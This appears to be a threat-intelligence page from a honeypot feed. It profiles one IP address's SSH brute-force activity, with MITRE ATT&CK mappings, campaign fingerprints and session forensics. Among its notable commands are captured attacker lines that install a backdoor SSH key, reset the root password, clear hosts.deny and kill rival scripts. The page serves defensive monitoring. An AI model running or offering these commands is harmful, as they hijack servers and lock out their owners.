IntrusionLabs IntrusionLabs
← Back to feed

165.154.168.16

TAGGED SUSPICIOUS how we decide →
Threat Confidence
53%
Location
🇻🇳 VN / Ho Chi Minh City
ASN
AS135377 · UCLOUD INFORMATION TECHNOLOGY HK LIMITED
Cloud Provider
—
Total Events
184
Above average by volume
Agent Count
1
First / Last Seen
2026-05-23 16:48 — 2026-05-23 17:59
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Reconnaissance
T1595.002
Initial Access
T1078
Defense Evasion
T1070.004
Credential Access
T1110 T1110.001
Discovery
T1082 T1083
Command and Control
T1105
External Corroboration
Not flagged by any external feeds
Campaigns
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (1293 IPs, 91 countries) HASSH Active high 🇺🇸 US
1293 IPs 411693 events
ssh:bruteforce
2026-02-25 — ongoing · 1293 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Tencent Building, Kejizhongyi Avenue (AS132203). …
Session Forensics
malware_dropper ×3 credential_probe ×8 opportunistic_bruter ×1
Sessions
12 (4 with login)
Avg Depth Score
0.43
Commands Executed
26
Files Downloaded
4
Notable Commands
  • cd ~; chattr -ia .ssh; lockr -ia .ssh
  • lockr -ia .ssh
  • cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
  • cat /proc/cpuinfo | grep name | wc -l
  • echo "root:cT7cA6ufuofY"|chpasswd|bash
  • rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
  • cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
  • free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
  • ls -lh $(which ls)
  • which ls
Fingerprints
HASSH
f555226df1963d1d3c09daf865abdc9a
SSH Client
SSH-2.0-libssh_0.9.6
Evidence Timeline
Credential Probe 44453fe1c4ea w4m_singapore_01 · 2026-05-23 17:58
1 20%
Loading events...
Credential Probe 989782cf31d8 w4m_singapore_01 · 2026-05-23 17:52
1 20%
Loading events...
Opportunistic Bruter d1e77b405bcb w4m_singapore_01 · 2026-05-23 17:45
1 50%
Loading events...
Credential Probe 0e9ac92528fb w4m_singapore_01 · 2026-05-23 17:45
1 20%
Loading events...
Malware Dropper 6aa24646fa77 w4m_singapore_01 · 2026-05-23 17:45
3 1 1 100%
Loading events...
Malware Dropper ae54fb876534 w4m_singapore_01 · 2026-05-23 17:38
3 1 1 100%
Loading events...
Credential Probe bbfc61b2b7f3 w4m_singapore_01 · 2026-05-23 17:31
1 20%
Loading events...
Credential Probe b66fb5c1428b w4m_singapore_01 · 2026-05-23 17:25
1 20%
Loading events...
Malware Dropper 3144c6ae0b4f w4m_singapore_01 · 2026-05-23 17:11
20 2 1 100%
Loading events...
Credential Probe 355b042b4e14 w4m_singapore_01 · 2026-05-23 17:11
1 20%
Loading events...
Credential Probe a95c325f64ef w4m_singapore_01 · 2026-05-23 17:04
1 20%
Loading events...
Credential Probe 9ebebf436179 w4m_singapore_01 · 2026-05-23 16:48
1 20%
Loading events...